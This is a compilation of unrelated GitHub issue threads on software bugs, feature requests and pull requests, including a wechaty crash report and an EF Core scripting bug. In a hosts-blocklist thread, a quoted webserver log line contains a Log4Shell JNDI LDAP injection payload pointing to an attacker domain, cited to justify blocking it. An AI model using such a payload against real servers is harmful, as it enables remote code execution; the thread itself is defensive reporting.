wechaty-puppet-mock would failed with Cannot read property 'version' on first run

The wechaty-puppet-mock would failed with Cannot read property 'version' on first run.
Here is the detailed log:
$ WECHATY_PUPPET=wechaty-puppet-mock node examples/starter-bot.js
16:33:12 INFO Wechaty <wechaty-puppet-mock>(wechaty) start() v0.27.60 is starting...
16:33:12 INFO PuppetManager<EMAIL_ADDRESS>please wait ...
npm: npm

npm: +<EMAIL_ADDRESS>added 19 packages from 21 contributors and audited 25 packages in 1.017s

npm: found 0 vulnerabilities

16:33:14 INFO PuppetManager<EMAIL_ADDRESS>done
TypeError: Cannot read property 'version' of undefined
    at Object.<anonymous> (/path/to/nodejs/node_modules/wechaty-puppet-mock/dist/src/config.js:23:23)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at Object.<anonymous> (/path/to/nodejs/node_modules/wechaty-puppet-mock/dist/src/puppet-mock.js:35:18)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at Object.<anonymous> (/path/to/nodejs/node_modules/wechaty-puppet-mock/dist/src/index.js:6:10)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at /path/to/nodejs/node_modules/wechaty/dist/src/puppet-manager.js:89:82
16:33:14 ERR Wechaty start() exception: Cannot read property 'version' of undefined
16:33:14 ERR StarterBot TypeError: Cannot read property 'version' of undefined

When run the 2nd time, it will be fine.
It will happen (again) when a new module is added into the node_modules directory, it seems.

Don't know if it is specific to  wechaty-puppet-mock or it is underlying  wechaty modules wechaty/dist/src/puppet-manager.js though, as I can't test online.

Mine is:
$ WECHATY_PUPPET=wechaty-puppet-mock node examples/starter-bot.js
08:46:26 INFO Wechaty <wechaty-puppet-mock>(wechaty) start() v0.27.53 is starting...

08:46:26 INFO StarterBot Cancel(0) - https://api.qrserver.com/v1/create-qr-code/?data=https%3A%2F%2Fnot-exist.com
08:46:26 INFO StarterBot Starter Bot Started.
08:46:26 INFO StarterBot Contact<mock-name> login
08:46:29 INFO StarterBot Message#Text[🗣Contact<mock-name>]	mock text
08:46:32 INFO StarterBot Message#Text[🗣Contact<mock-name>]	mock text

So I'd like to suggest that you can do a rm -fr node_modules && git pull && npm install then try again.

When run the 2nd time, it will be fine.
It will happen (again) when a new module is added ...

So unless you are installing from fresh, (or maybe added a new module), you not reproduce it.
I've reproduced it many times like that, the most reliable way to reproduce is to have a brand new wechaty module installation.

Here is another log, from another brand new wechaty module installation:
$ WECHATY_PUPPET=wechaty-puppet-mock node examples/starter-bot.js
19:57:09 INFO PuppetManager<EMAIL_ADDRESS>done
TypeError: Cannot read property 'version' of undefined
    at Object.<anonymous> (/path/to/nodejs/wechaty-getting-started/node_modules/wechaty-puppet-mock/dist/src/config.js:23:23)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at Object.<anonymous> (/path/to/nodejs/wechaty-getting-started/node_modules/wechaty-puppet-mock/dist/src/puppet-mock.js:35:18)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at Object.<anonymous> (/path/to/nodejs/wechaty-getting-started/node_modules/wechaty-puppet-mock/dist/src/index.js:6:10)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at /path/to/nodejs/wechaty-getting-started/node_modules/wechaty/dist/src/puppet-manager.js:89:82
19:57:09 ERR Wechaty start() exception: Cannot read property 'version' of undefined
19:57:09 ERR StarterBot TypeError: Cannot read property 'version' of undefined

What do you mean "brand new"?
Please provide the details about which version you had installed, with your re-producible install scripts.

Ok, I guess I had catch it in wechaty package.json files.
I had specified the mock version in it before. Will remove it and publish a new version.

Should be fixed in Wechaty v0.28, please try the latest master branch.
Thanks for reporting this problem!

I saw the fix was removing wechaty-puppet-mock entirely, but I think it might not work for all cases. I.e., the wechaty-puppet-mock is not required and normally need to be installed manually, which means re-introducing the wechaty-puppet-mock entry back to the package.json. Hmm... maybe not. So...
how exactly to reproduce it? I got it again when trying the examples/advanced/gist-bot/index.js, but now everything is OK for me.

That's because this issue should have already been fixed.
Please let me know if you have any trouble from the latest master branch code, or Wechaty v0.28 or above.

I get the latest Wechaty v0.28 but am still seeing the problem:
$ WECHATY_PUPPET=wechaty-puppet-mock node examples/advanced/gist-bot/index.js

=============== Powered by Wechaty ===============
-------- https://github.com/Chatie/wechaty --------

Please wait... I'm trying to login in...

14:07:46 INFO Wechaty <wechaty-puppet-mock>() start() v0.28.3 is starting...
14:07:46 INFO PuppetManager<EMAIL_ADDRESS>please wait ...
npm: npm WARN

npm: +<EMAIL_ADDRESS>added 48 packages from 37 contributors and audited 94 packages in 2.959s

npm: found 0 vulnerabilities

14:07:50 INFO PuppetManager<EMAIL_ADDRESS>done
TypeError: Cannot read property 'version' of undefined
    at Object.<anonymous> (/path/to/nodejs/node_modules/wechaty-puppet-mock/dist/src/config.js:23:23)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at Object.<anonymous> (/path/to/nodejs/node_modules/wechaty-puppet-mock/dist/src/puppet-mock.js:35:18)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at Object.<anonymous> (/path/to/nodejs/node_modules/wechaty-puppet-mock/dist/src/index.js:6:10)
    at Module._compile (internal/modules/cjs/loader.js:936:30)
    at Object.Module._extensions..js (internal/modules/cjs/loader.js:947:10)
    at Module.load (internal/modules/cjs/loader.js:790:32)
    at Function.Module._load (internal/modules/cjs/loader.js:703:12)
    at Module.require (internal/modules/cjs/loader.js:830:19)
    at require (internal/modules/cjs/helpers.js:68:18)
    at /path/to/nodejs/wechaty-getting-started/node_modules/wechaty/dist/src/puppet-manager.js:89:82
14:07:50 ERR Wechaty start() exception: Cannot read property 'version' of undefined
14:07:50 INFO Bot error: TypeError: Cannot read property 'version' of undefined
14:07:50 INFO Wechaty <wechaty-puppet-mock> stop() v0.28.3 is stoping ...
14:07:50 WARN Wechaty stop() puppet.stop() exception: static puppet not found for Wechaty, please see issue #1217: https://github.com/Chatie/wechaty/issues/1217

And again, when run for the 2nd time, it is be fine.

Interesting. I'll look in to it later.


Dynamic binding of url not working on facebook share

Want to bind url property to a different page, and setting it via (v-bind:url ="shareUrl"). Its works on twitter but not on Facebook

My bad, apparently loaclhost was proving to be in assue


Don't Support Fragment

It's Not working with fragments

Try adding this on your Fragment transaction code:
val transaction = supportFragmentManager.beginTransaction()
transaction.setCustomAnimations(spencerstudios.com.bungeelib.R.anim.slide_left_enter, spencerstudios.com.bungeelib.R.anim.slide_left_exit)
transaction.replace(container, MyFragment())
transaction.commit()


Revert "Dryrun tags bug fixing"

Reverts samsung-cnct/k2#501
This never passed CI and fails dryrun test. Should not have been merged into master.

OK should do revert and I will rework


in order to try pls help where to buy fpga toolkit for machine learning?

in order to try pls help where to buy fpga toolkit for machine learning?

Here's a link to Altera's shop
I used the DE2-115 for this project.


Offer a way to start and manage processes

Does proton native offer any common facility that I can use to create and manage processes from within my applications?

Since proton-native runs on Node, you can use child_process as you would in Node:

https://nodejs.org/api/child_process.html
http://krasimirtsonev.com/blog/article/Nodejs-managing-child-processes-starting-stopping-exec-spawn

Oh, interesting.  So it bundles a nodejs runtime alongside the native application?

Oh, interesting. So it bundles a nodejs runtime alongside the native application?

No, your code gets actually executed by Nodejs and you call out to native code (a native library).

Ah, I see, so this doesn't build on top of react native, though it aims to be compatible?

It aims to be like react native. The API is not compatible with react native due to some limitations, but all JS libraries, including react ones, are compatible.

Thanks for the info!


Bugs 3/28/2022

Issues

Multiple errors in console (components unidentified)
Search doesn't work

Search doesn't work
See my PR in the main Catalyst repo.

Search doesn't work

See my PR in the main Catalyst repo.

This is catalyst-lite, while based on Catalyst does not recieve the same updates.


order keys should not be significant to deep equals.

this test should pass:
test('order of keys should not be significant', function (t) {
  t.deepEqual({a: 0, b: 0}, {b: 0, a: 0})
  t.end()
})

instead, output is:
    found:
      a: 0
      b: 0
    wanted:
      b: 0
      a: 0
    diff:   |
      FOUND:  {"a":0,"b":0}
      WANTED: {"b":0,"a":0}
                ^ (at position = 2)
  ...

stringify(a) == stringify(b) is not generally they right way to test if two objects have the same structure.

Sure.  Wanna write a patch?


Validation of SBML rules for MathML

I decided to push sanity checks along with the already implemented validation rules (10301 through 10304), as there are only 4 new rules


Is it safe for Arm9loaderhax Users to update?

Current 3ds version sys 10.7
Latest release 11.0.0, So is it safe to update ?
I made backups of everything possible.

Any Arm9loaderhax users here who updated their 3ds to latest version? Are you facing any kind of problem or is it still working fine?

I updated 3 hours ago.
Everything's working fine 😉👍

Read the home page, right at the top.

Try opening homebrew. If it didnt work, rename payload to the version you
have.
On 10 May 2016 18:34, "Plailect"<EMAIL_ADDRESS>wrote:

Read the home page, right at the top.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly or view it on GitHub


Incorrect syntax in the script generated by command "migrations script --idempotent"

Hello,
I have a project with multiple migrations.
One of the migration have multiple procedures like this :
private static string SCRIPT_TableUserSynchronizationRepository_GetFirstPendingUserSynchronizations =             @"CREATE PROCEDURE procedure_GetFirstPendingUserSynchronizations                         [...]               END";
When i execute the command line "dotnet ef migrations script" everything work fine !
But when i execute the code generated by the command "dotnet ef migrations script --idempotent" i have several errors !
EF generate this kind of code :
IF NOT EXISTS(SELECT * FROM [__EFMigrationsHistory] WHERE [MigrationId] = N'20171124083142_addStoredProcedures') BEGIN     CREATE PROCEDURE procedure_GetFirstPendingUserSynchronizations                                 [...]                   END END; GO
And the error is "Incorrect syntax near the keyword 'Procedure'".
I have found a workaround by putting the "CREATE PROCEDURE" in "EXE(' [...]').
https://stackoverflow.com/questions/16729520/incorrect-syntax-near-the-keyword-procedure.
I use SQL Server 2016 (localdb)
Is it an EF Core bug ?

This is giving me some grief also.  My hope was to generate scripts during my build pipeline with --idempotent, then pass it along to different release environments.  I won't be able to effectively build in CI/CD if I have to manually edit the output.  Understand this is pretty much by design, but at risk of being naive is it harmful if the tooling preemptively wraps everything in EXEC?

See https://github.com/aspnet/EntityFrameworkCore/issues/12911#issuecomment-416699916

Thanks Brice.  Looking forward to 3.0.
Best Regards
On Wed, Feb 6, 2019 at 2:41 PM Brice Lambson<EMAIL_ADDRESS>wrote:

See #12911 (comment)
https://github.com/aspnet/EntityFrameworkCore/issues/12911#issuecomment-416699916
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub
https://github.com/aspnet/EntityFrameworkCore/issues/10726#issuecomment-461159009,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AKdfK-RlWD4GicVWPw46qvuN50o-V8sUks5vKy_LgaJpZM4Rkfd2
.


Request for the supports for the api-calling of Tencent hunyuan series, qwen series

Though serious testings, the mentioned LLMs are not real not bad, strongly hope dspy could have the direct callings on these models. Great benefit for LLM application developers

It should be possible to interface with them via dspy.LM if they're hosted on VLLM or SGLang


Please add Pasadena, CA and LA County Board of Supervisors

Hi, thanks for your interest in adding your city to the website. Emails on defund12.org are all written by community members. To add your city, you must provide:

Subject line for the email
Email addresses (at least one) of the government officials you’d like to receive the message
Detailed message concerning the budgeting decisions at stake in your community

Until you provide this content, we cannot post your city.
Follow our email style guidelines for quicker acceptance. Remember that messages must be city-specific and focused on defunding the police. If your message is copied from an external source, please provide a link to the original source.
Your request will be closed until you reply with the necessary content. Thank you!

Subject: Defund and Demilitarize the Pasadena Police Department
Email addresses<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Dear Pasadena Mayor and City Council,
My name is [YOUR NAME] and I am a resident of [YOUR DISTRICT/NEIGHBORHOOD]. I am writing to demand that the City Council adopt a budget that prioritizes community wellbeing and redirects funding away from the police.
Not only are we experiencing the trauma of global pandemic, we are also in the midst of widespread upheaval over the systemic violence embodied by American police departments’ well-documented history of murdering Black people. Empty gestures and suggestions of “reform” are unacceptable. I am demanding that the City Council of Pasadena stand with the People. I am demanding that you root out systemic and institutional racism by defunding the police and prioritizing and reallocating much-needed funds to education, housing, and community and social services.
I also entreat you to stand in solidarity with the movement by demanding change from the LAPD. As neighbors, we are duty-bound to hold each other accountable. I join the calls of those across the country to meaningfully defund the police.  The people are demanding a budget that supports community wellbeing, rather than empowering the police forces that tear them apart.
You need to adopt a budget that prioritizes the social programs proven to promote safety and equity much more effectively than policing. You need to steadfastly pressure your peers on the City Council of Los Angeles to do the same. Public opinion is with me.
Thank you for your time,
[YOURNAME]
[YOUR ADDRESS]
[YOUR EMAIL]
[YOUR PHONE NUMBER]

@aypvee This is a great start! Do you think you could add some data specific to Pasadena? Perhaps some info on their current budget or their history with police brutality?

Absolutely! See below.

Reallocate PPD's $91 million dollar budget towards a neglected public school system, social programs for youth/young adults, public health and housing services, etc.
Kendrec McDade's murderers, Matthew Griffin (badge #3125) and Jeffery Newlen (badge #6113) need to be fired and indicted. The Office of Independent Review Group concluded an investigative report in 2015 that police mishandled investigation of the officers' fatal shooting of unarmed Black teen in 2012.
Release the video footage, autopsy report and prosecute the 6 officers involved in the murder of Reginald Thomas Jr. who died in police custody in 2016.
Release of the video footage, autopsy report and prosecute the officers involved in the murder of Leroy Barnes in 2009 who was shot 11 times after being pulled over.
Work in partnership with the City Council to develop a reparations ordinance as cities like Chicago have established. This policy would provide financial, mental health, educational and other resources for the families of victims of police torture.

Subject: Defund and Demilitarize the Pasadena Police Department
Email addresses<EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS><EMAIL_ADDRESS>Dear Pasadena Mayor and City Council,
My name is [YOUR NAME] and I am a resident of [YOUR DISTRICT/NEIGHBORHOOD]. I am writing to demand that the City Council adopt a budget that prioritizes community wellbeing and redirects funding away from the police.
Not only are we experiencing the trauma of global pandemic, we are also in the midst of widespread upheaval over the systemic violence embodied by American police departments’ well-documented history of murdering Black people. Empty gestures and suggestions of “reform” are unacceptable. I am demanding that the City Council of Pasadena stand with the People. I am demanding that you root out systemic and institutional racism by defunding the police and prioritizing and reallocating much-needed funds to education, housing, and community and social services.

Reallocate PPD's $91 million dollar budget towards a neglected public school system, social programs for youth/young adults, public health and housing services, etc.
Work in partnership with the City Council to develop a reparations ordinance as cities like Chicago have established. This policy would provide financial, mental health, educational and other resources for the families of victims of police torture.

I also entreat you to stand in solidarity with the movement by demanding change from the LAPD. As neighbors, we are duty-bound to hold each other accountable. I join the calls of those across the country to meaningfully defund the police.  The people are demanding a budget that supports community wellbeing, rather than empowering the police forces that tear them apart.
You need to adopt a budget that prioritizes the social programs proven to promote safety and equity much more effectively than policing. You need to steadfastly pressure your peers on the City Council of Los Angeles to do the same. Public opinion is with me.
Thank you for your time,
[YOURNAME]
[YOUR ADDRESS]
[YOUR EMAIL]
[YOUR PHONE NUMBER]

on this

Here is email for LA County Board of Supervisors for Pasadena (LA District 5):
<EMAIL_ADDRESS>


couple domains

<IP_ADDRESS>.c752sa3k9oeb2eg2ehpgc8fnhkeyyyyyn.domsearch.net
vor.ngo
The first is being used for some kind of LDAP automated exploit, as found in my webserver log:
<IP_ADDRESS> - - [29/Dec/2021:16:24:17 -0500] "GET /?rsisw=${jndi:ldap://<IP_ADDRESS>.c752sa3k9oeb2eg2ehpgc8fnhkeyyyyyn.domsearch.net/a} HTTP/1.1" 302 138 "-" "curl/7.64.0"
The second is being spammed by Russian YouTube accounts in live chats / comment sections.

Devon @hyder365 for <IP_ADDRESS>.c752sa3k9oeb2eg2ehpgc8fnhkeyyyyyn.domsearch.net not that i mind listing it but honestly
i don't think it will make even the slightest dent. It's one of probably thousands that is carrying out SSH bruteforce attacks.
I belive only wildcard blocking will help which is not possible in hosts lists.
This is just a small part that is coming from the same IP:

And some expert left useful comment:

Thank you Devon @hyder365 good catch.
What a cesspool.
I've added that and the root domain in commit 5c82cdf2
At least, with the root domain, downstream users with wildcard-enabled mechanisms will catch this.
Dan @dnmTX can I have the screen capture (above ⬆⬆⬆)  as plain text?

Dan @dnmTX can I have the screen capture (above ⬆⬆⬆) as plain text?

Sure thing 👍
Added even more and coverted to Unix format as i know you're not using Windows 😉
👇
domesearch.txt

The other interesting thing Dan @dnmTX is they use that same 33-character sequence c752s...yyyn in all these domains.

Thanks Devon @hyder365 and Dan @dnmTX!
Closing.

Wait....i will reupload the file again. Turns out that what you thought is a typo on my end is actually domain,or at least this is how it's listed. And it resolves in it's current form. For example:
c752sa3k9oeb2eg2ehpgc8fnhkeyyyyyn.domsearch.net<IP_ADDRESS>.c752sa3k9oeb2eg2ehpgc8fnhkeyyyyyn.domsearch.net
So stand by....

Here you go Steve @StevenBlack,did it by hand this time to make sure.
It's ready to go,just paste it as it is:
domesearch-new.txt


Added my tested setup

Compiled, tested, and confirmed working on a MacBook Pro (15-inch, Early 2011)

Great, thanks for sharing!


Open files using command line

This is a great app and greatly helps watching youtube videos while working at the same time.
We can do:
open helium://ANY_WEBSITE
open helium://www.google.com

But, we can not do:
open helium://FILE_PATH
open helium:///Users/my_user_name/hello.sh

Is there a way we can open the file in Helium using terminal commands?
May is there is some Applescript, but I am not familiar with it.

Sorry, but this is one of pet projects I just don't have time to work on.
I really wish I could help, but I simply can't.
I'd recommend looking into pennywise, although it's chromium based and doesn't use native webkit stuff, which kinda makes it worse.
Another option is iina player, which is my favorite app for video playback on macOS.


udpated text around ANL02FL as alternative approach to the use of sou…

…rce_pd parameter
Please add "Closes #" to the title of the pull request. Then the
issue is closed automatically once it is merged to main.
Thank you for your Pull Request! We have developed this task checklist from the Development Process Guide to help with the final steps of the process. Completing the below tasks helps to ensure our reviewers can maximize their time on your code as well as making sure the admiral codebase remains robust and consistent.
Please check off each taskbox as an acknowledgment that you completed the task or check off that it is not relevant to your Pull Request. This checklist is part of the Github Action workflows and the Pull Request will not be merged into the devel branch until you have checked off each task.

[ ] Code is formatted according to the tidyverse style guide. Run styler::style_file() to style R and Rmd files
[ ] Updated relevant unit tests or have written new unit tests - See Unit Test Guide
[ ] If you removed/replaced any function and/or function parameters, did you fully follow the deprecation guidance?
[ ] Update to all relevant roxygen headers and examples
[ ] Run devtools::document() so all .Rd files in the man folder and the NAMESPACE file in the project root are updated appropriately
[ ] Address any updates needed for vignettes and/or templates
[ ] Update NEWS.md
[ ] Build admiral site pkgdown::build_site() and check that all affected examples are displayed correctly and that all new functions occur on the "Reference" page.
[ ] Address or fix all lintr warnings and errors - lintr::lint_package()
[ ] Run R CMD check locally and address all errors and warnings - devtools::check()
[ ] Link the issue so that it closes after successful merging.
[ ] Address all merge conflicts and resolve appropriately
[ ] Pat yourself on the back for a job well done!  Much love to your accomplishment!

The following line requests to update the man pages by the "Man Pages" workflow.
/roxygenize

@bundfussr i guess we should also mention that derive_var_relative_flag() from https://github.com/pharmaverse/admiral/pull/1502 could be used here to derive ANL02FL in this case?
FYI @amitjaingsk

@rossfarrugia , @amitjaingsk , I would also add an example call of derive_var_relative_flag() which flags all observations up to first PD.

Fine by me! My first thinking was to just explain in text but as we'll have a function for this now in {admiral} then no harm to include an example call.

@amitjaingsk derive_var_relative_flag() is now ready in {admiral} latest devel branch, so can you make the final updates to this PR please so we can get it merged ahead of upcoming release? FYI @HinalPat

I looked into this for Amit, and there is an issue with installing admiralonco library. When I try to do it manually in rstudio I get the following error: Error: object 'count_vals' is not exported by 'namespace:admiral'. Do you know if there was a change to count_vals that would cause this?

@mattmarino , could you check which version of admiral you have installed? count_vals() was added to admiral 0.8.0.

@mattmarino , could you check which version of admiral you have installed? count_vals() was added to admiral 0.8.0.

I managed to resolve this, thanks.

@bundfussr Can I ask you to take a look at the conflicts? The parts in devel look to be new vs what was published back in Sept so don't want to overwrite with something new if it should be there, and I'm not too sure.

@mattmarino , no problem, I have fixed the merge conflicts. The new parts from devel are correct.

@bundfussr Looks like my fix didn't solve it...I'm a bit stumped. If you have time, can I ask you to take a look at that item too?

@mattmarino , the R-CMD 4.0 is failing due to a general issue in the workflow. It is not related to the changes in this pull request. Thus we can ignore it.


 What you've said gives me nothing to work with. If I open Worlds Next on my end it works perfectly.
What version of Godot are you using, and is the version of World Next you've downloaded the currently up to date one?

 First check where the Project Settings states that the file is just in case (I believe it should be in the root scenes folder), then check (either in your file manager or even the FileSystem in Godot) and, if it doesn't seem to be there at all, then just copy the entire file from the original Worlds Next repository. These kinds of files - compared to .scn files - are text-based, so they can be easily read from any text editor. As such, you can make a new file by the same name in the same location, and copy from the actual original file itself.

This is not an issue present or reproducible in base Sonic Worlds Next, so it doesn't belong here.
Make sure you are using Godot 4.2 or later and the Sonic Worlds Next version from this repository. If you downloaded the 3x version of Worlds Next, we don't support that any longer.
The Issues category is only for issues that are present or exist in the base framework, not external additions.


Carthage Support

Are there any plans to support Carthage?

:+1:

:+1:

Me too!

Carthage support is now added (for all platforms).


cypress-cucumber-preprocessor 17.1.1 does not work with cypress-support pro

Current behavior
when using the version 17.1.1 or higher from cypress-cucumber-preprocessor, cypress-support pro is not able to debug the cypress execution anymore.
Desired behavior
when i want to debug the code with the help of cypress support pro, it should stop at the breakpoints i set.
Test code to reproduce
https://github.com/Gardosen/automation-test/
branch: main <-- broken one with version 17.1.1
branch: debugger-fix-up <--- working one with version 17.1.0
Versions

Cypress version: 12.17.4
Preprocessor version: 17.1.0 / 17.1.1
Node version: 20.4.0

###Additional Note:
I am also going to open up a bug report on the side of cypress support pro that it can be evaluated if the issue might be on the side of cypress support pro. Link: https://github.com/mbolotov/intellij-cypress/issues/122
Checklist

[X] I've read the FAQ.
[X] I've read instructions for logging issues.
[X] I'm not using<EMAIL_ADDRESS>(package name has changed and it is no longer the most recent version, see #689).

This is not something I can help you with. If anyone can point out somewhere in which this library is misbehaving, feel free to do so and I will have a look. I will keep this issue open in the meanwhile.

helllo @badeball ,
this is sadly the same for the opposite site. he sais if the preprocessor is doing some kind of miss transformation, the debugger would not be able to find the breakpoint.
i would try to help if possible to nail the issue down, but i have some struggles finding the right changes which have happened between 17.1.0 and 17.1.1 (because this version jump is what broke cypress support pro)

It's pretty easy to build and install from ref. You can eg. use git-bisect for this.
$ git checkout <ref>
$ npm run clean
$ npm run build
& npm run pack

Then from your own repository:
$ npm i <path to .tgz>

Closing, as this isn't something I'm going to spend time on.


Design HTML Reports

A Node.js instance will be created to serve the HTML report pages. It will use the parsed data created by logwatcher.

Prerequisite steps:

Log.js replace with npm simple-text-log - DONE
Convert mysql source to an npm

A separate node.js app has been created (WIP).  It provides an endpoint for GET requests, where a "report ID" is contained  in the query.
At this time converting the mysql source to an NPM is on hold.

Report HTML table generation is complete and has the following features:

Tables can be retrieved with a GET and a "report ID".
Some aspects of report tables are defined (configurable) -

Table title
database columns are mapped to table column headings
Node require() caching is defeated, report definitions will always be read.
TBD

A "library" of SQL query files is used for data retrieval.

Each SQL file name, report IDs and report definitions are identical

Added ability to optionally generate full HTML page per report. It uses Bootstrap 4.

Added ability to optionally generate 2 tier table headings

Added public_html/index.html that retrieves 3 report tables


DISA October Meeting To-Do List

[x] Get general search working

[x] Confirm data is correct

[x] Add fields: Race, Status, and Date

[ ] Make fields drop-downs

[x] Format details modal -- add individual data table

[ ] Encode/decode special characters consistently

[x] Ensure that enslavers can show up

[x] Get it onto production

[x] Add race info to biographical paragraph

Nice to haves:

[ ] Order lunr search results by relevance

I (birkin) checked off that data-is-correct. I do still want to look into the 80 entries being excluded, but since we have that as another issue, and this is for the checklist for the community meeting, I feel fine about checking this off.


ExpansionPanel, ExpansionSummary vs  Accordion, AccordionSummary (Discussion)

Hi @vallq, Since you have been working with the mentioned components, do you see any advantage of one over the other?

https://material-ui.com/api/expansion-panel/#expansionpanel-api
I believe there is no difference between ExpansionPanel and Accordian in terms of the API functionality. Material-ui renamed it to Accordian to follow a more common naming convention.
Accordians are available in version 4.11.0 or higher, so if we want to migrate to Accordians we would need to update our material-ui core package which is currently at 4.9.4.
https://stackoverflow.com/questions/62680868/material-ui-accordion-formerly-expansiontable-component-wont-import

Just curious @vallq , what kind of error did you see being logged in the console with the ExpansionPanel and ExpansionSummary?

Ok, @ChawinTan and @vallq I think we can create two different GH Issues, one to update to version 4.11.0 and another migrate to Accordions. Both of them as a backburner task with low priority.
What do you think about it?

I'm all for it!

Ok, @ChawinTan and @vallq I think we can create two different GH Issues, one to update to version 4.11.0 and another migrate to Accordions. Both of them as a backburner task with low priority.
What do you think about it?

Issues created. Closing this.


Add script to create a new GitHub repository

Fixes #23
This commit adds a Bash script that utilizes the GitHub API to create a new repository. The script takes in a personal access token, repository name, and description as inputs. It sends a POST request to the GitHub API endpoint with the provided information to create the repository. If the creation is successful, it displays a success message; otherwise, it provides an error message with the reason for failure.

Great work! Congratulations on your contribution.


Fix the shipyard file and demo script

Only include what needed in the sequence definition in the shipyard
file. Update the demo script with instruction about how to run the
demo.
Signed-off-by: Andrea Frittoli<EMAIL_ADDRESS>

/lgtm


Add FreeBSD to travis builds

FreeBSD builds are cross compiled and afterwards pushed to GitHub releases.

I've checked the cross compiled binary on a FreeBSD 11 and it seems to work flawlessly.

Thanks!


Fix intermittent test failure, reduce test time

Cherry-pick of https://github.com/bitcoin/bitcoin/pull/6414
Alternative to #210

ACK


Error from adding policy members needs better formatting

User Story
When an error occurs during adding members to a policy, the error needs to be presented in a more tidy format.
Rendering flows with screenwidth, but both of these need UX improvement:

Definition of Done
Error appears in a clean way.
Demo Script / Repro Steps
One way to force an add-member failure is to add this to components/authz-service/server/v2/policy.go::AddPolicyMembers just after the test for not nil (L329).
if err == nil {
		return nil, status.Errorf(codes.InvalidArgument, "parse member: %s", "hello")
	}

Then go_update_component authz-service in hab studio to compile that change.
Once that reloads, any attempt to add members will result in a failure.

We should address this on team-add-users as well:


upgrade carter to v6

Fixes
This pull request fixes #1107
Description
Upgrade Carter to v6;
switch to new WebApplication class in Program.cs
Type of change

Enhancement of existing functionality

Impacted Areas in Application
List general components of the application that this PR will affect:

Some code changes in backend

Checklist:
Please tick all the boxes or remove the ones that aren't needed and explain why
Communication

[ ] PR is related to an issue
[ ] I have made corresponding changes to the documentation

Code quality

[x] Code follows the style guidelines
[x] I have self-reviewed my code
[x] No new warnings are generated

Test coverage

[x] Existing tests pass
[ ] New code is covered by passing tests

Saw this a bit late...
We have in our other projects replaced Carter with use of the new minimalist APIs in ASP.NET 6. These API are quite similar to the APIs in Carter and in our view makes Carter redundant

Sorry, abandoned this PR since bugs were spotted in the routing.  @lindsve Yes, it seem better to switch to native minimal APIs.

I agree on replacing Carter but until someone implement that, this update from Carter 5 to Carter 6 is an improvement in my view.


"afterEvaluate cannot be executed in the current context" describe the context?

Current Behavior
I'm observing that the "afterEvaluate cannot be executed in the current context" error message doesn't specify what the current context is, which makes it more difficult to identify what needs fixing
Expected Behavior
It'd be nice if this error message could be augmented to say something like "cannot be executed while instantiating task :projectName:taskName" or "cannot be executed during :projectName.afterEvaluate" or something like that
Context (optional)
In https://issuetracker.google.com/issues/306462464 with this command:
$ ./gradlew :appsearch:appsearch-local-storage:tasks

and this output:
Build file '/ssd/ssd5/androidx-main/external/icing/build.gradle' line: 20

* What went wrong:
An exception occurred applying plugin request [id: 'AndroidXPlugin']
> Failed to apply plugin 'AndroidXPlugin'.
   > A problem occurred evaluating script.
      > Failed to apply plugin class 'androidx.build.AndroidXImplPlugin'.
         > Project#afterEvaluate(Action) on project ':icing' cannot be executed in the current context.

it was difficult to determine that the failure was because of https://github.com/spdx/spdx-gradle-plugin/issues/62 until we discovered that the current context was instantiating the :appsearch:appsearch-local-storage:spdxSbomForRelease task
Steps to Reproduce
